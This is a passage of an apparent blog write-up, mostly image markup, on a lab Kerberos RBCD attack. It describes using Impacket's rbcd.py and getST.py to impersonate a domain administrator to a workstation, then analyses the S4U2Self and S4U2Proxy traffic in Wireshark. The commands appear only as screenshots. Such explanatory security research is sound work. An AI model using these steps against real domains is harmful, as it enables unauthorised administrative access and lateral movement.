data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:147,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ZKQT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 424w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 848w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 1272w, https://substackcdn.com/image/fetch/$s_!ZKQT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30ea3160-586b-4662-8e85-b7e25488fe4f_2718x274.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h5>Modifying the Target in LDAP</h5><p>Now that we have control over an account set with a SPN, we can grant it RBCD privileges on the target machine object in LDAP using Impacket&#8217;s rbcd.py. This will modify WS1$&#8217;s <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute, allowing our machine account to impersonate other users to it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jJ1j!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jJ1j!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 424w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 848w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 1272w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jJ1j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png" width="1456" height="437" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:437,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!jJ1j!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 424w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 848w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 1272w, https://substackcdn.com/image/fetch/$s_!jJ1j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac987b6b-26bc-4513-807c-1943b11739f0_2534x760.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Requesting a TGS Through S4U Extensions</h5><p>Next, we can abuse RBCD to obtain a TGS ticket for a service tied to WS1$, impersonating an account that is granted local administrator rights to WS1.EZ.LAB. We can use getST.py to impersonate <code>EZ\Administrator</code>, a domain admin, to the CIFS service on WS1.EZ.LAB. (I encountered problems performing the getST step without Kerberos auth, so I first requested a TGT and exported it, but this should be optional.)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hcBL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hcBL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 424w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 848w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 1272w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hcBL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png" width="1456" height="505" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:505,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hcBL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 424w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 848w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 1272w, https://substackcdn.com/image/fetch/$s_!hcBL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb317b647-a7a0-4b77-87a2-fa72892f4ad2_2348x814.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Impacket reports that it successfully obtained and saved a service ticket for the administrator account through S4U2Self and S4U2Proxy. At this point we can finish our lateral move to WS1.EZ.LAB, but what is really going on under the hood? Capturing this step with Wireshark, we see two TGS-REQ messages from Kali to the KDC and two TGS-REP messages sent back by the KDC.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1G-X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1G-X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 424w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 848w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 1272w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1G-X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png" width="1456" height="465" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:465,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!1G-X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 424w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 848w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 1272w, https://substackcdn.com/image/fetch/$s_!1G-X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01469336-4c7f-441f-99f9-fb088c39b61e_3778x1206.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>S4U2Self Request</h5><p>The first of these sequences is the S4U2Self request and response. The S4U extensions are better explained <a href="https://web.archive.org/web/20250514182614mp_/https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c">here</a>, but S4U2Self essentially allows a service to obtain a forwardable ticket to itself, for another user. Examining the TGS-REQ message, we can see that we&#8217;re requesting a ticket on behalf of <code>EZ\Administrator</code> for the service <code>fortalice$</code>. Elsewhere in the kdc-options section of the req-body, the <em>forwardable</em> flag is set.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ni8X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ni8X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 424w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 848w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 1272w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ni8X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png" width="1456" height="821" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:821,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ni8X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 424w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 848w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 1272w, https://substackcdn.com/image/fetch/$s_!Ni8X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29a5f869-b65b-49fa-b716-3992695b82bf_2620x1478.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>S4U2Proxy Request</h5><p>After the KDC responds with the S4U2Self ticket, S4U2Proxy is used to request a TGS ticket to a <em>different</em> service as the user impersonated during S4U2Self. Opening the associated TGS-REP shows that we&#8217;re requesting a ticket for <code>cifs/ws1.ez.lab</code> and including the forwardable S4U2Self ticket in the additional-tickets section. This is the point where the KDC will perform a check to ensure that <code>FORTALICE$</code> has the required delegation rights (which we set with rbcd.py) before returning the ticket that allows access to WS1.EZ.LAB.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NgZa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NgZa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 424w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 848w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 1272w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NgZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!NgZa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 424w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 848w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 1272w, https://substackcdn.com/image/fetch/$s_!NgZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faef2cc1a-61a8-48af-977c-eff50deca6e5_2584x1454.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Authenticating to the Target as an Administrator</h5><p>With all of that out of the way, we can export the resulting service ticket, and use it to confirm admin rights on WS1.EZ.LAB.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zLtW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 